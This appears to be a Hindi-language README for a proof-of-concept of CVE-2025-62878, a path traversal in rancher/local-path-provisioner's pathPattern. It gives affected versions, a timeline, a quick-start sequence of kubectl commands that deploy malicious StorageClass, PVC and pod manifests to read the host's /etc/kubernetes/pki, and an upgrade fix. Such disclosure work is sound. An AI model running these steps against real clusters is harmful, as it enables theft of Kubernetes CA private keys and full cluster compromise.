CVE-2025-62878: स्थानीय पथ प्रावधानकर्ता पथ ट्रैवर्सल
अवलोकन
| आइटम | मान |
|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| गंभीरता | गंभीर (CVSS 10.0) |
| CWE | CWE-23 (सापेक्ष पथ ट्रैवर्सल) |
| प्रभावित घटक | rancher/local-path-provisioner |
| प्रभावित संस्करण | v0.0.27 ~ v0.0.32 |
| स्थिर संस्करण | v0.0.33+ |
कमज़ोरी का विवरण
StorageClass के pathPattern पैरामीटर में एक पथ ट्रैवर्सल कमज़ोरी मौजूद है। एक दुर्भावनापूर्ण उपयोगकर्ता सापेक्ष पथ तत्वों (जैसे, ../) का उपयोग करके pathPattern में हेरफेर कर सकता है, जिससे होस्ट नोड पर मनमाने स्थानों को इंगित करने वाले PersistentVolumes बनाए जा सकते हैं, और कॉन्फ़िगर किए गए बेस डायरेक्टरी प्रतिबंध को दरकिनार किया जा सकता है।
यह हमलावरों को अनुमति देता है:
- संवेदनशील होस्ट फ़ाइलों तक पहुँचना (जैसे,
/etc/kubernetes/pki/)
- महत्वपूर्ण सिस्टम फ़ाइलों को अधिलेखित करना
- Kubernetes CA निजी कुंजियाँ चुराकर पूर्ण क्लस्टर समझौता प्राप्त करना
प्रभावित संस्करण (सत्यापित)
नोट: आधिकारिक GitHub Advisory में कहा गया है कि "< 0.0.34" प्रभावित है, लेकिन हमारे परीक्षण पुष्टि करते हैं:
- v0.0.33 पहले से ही पैच किया गया है
- v0.0.26 और इससे पहले के संस्करण प्रभावित नहीं हैं (pathPattern सुविधा मौजूद नहीं है)
- वास्तविक प्रभावित सीमा: v0.0.27 <= संस्करण <= v0.0.32
समयरेखा
| घटना | तारीख |
|---|
| pathPattern सुविधा शुरू की गई | 2024-05-26 (कमिट af85381) |
| पहला कमज़ोर रिलीज़ (v0.0.27) | 2024-05-29 |
|
पुनरुत्पादन
विस्तृत पुनरुत्पादन चरणों और स्क्रिप्ट के लिए exploit/ निर्देशिका देखें।
त्वरित प्रारंभ
# 1. कमज़ोर संस्करण स्थापित करें
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. एक्सप्लॉइट लागू करें
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. शोषण सत्यापित करें
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# आउटपुट: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Kubernetes PKI प्रमाणपत्र और निजी कुंजियाँ दिखाता है
उपचार
v0.0.33 या बाद के संस्करण में अपग्रेड करें:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml
संदर्भ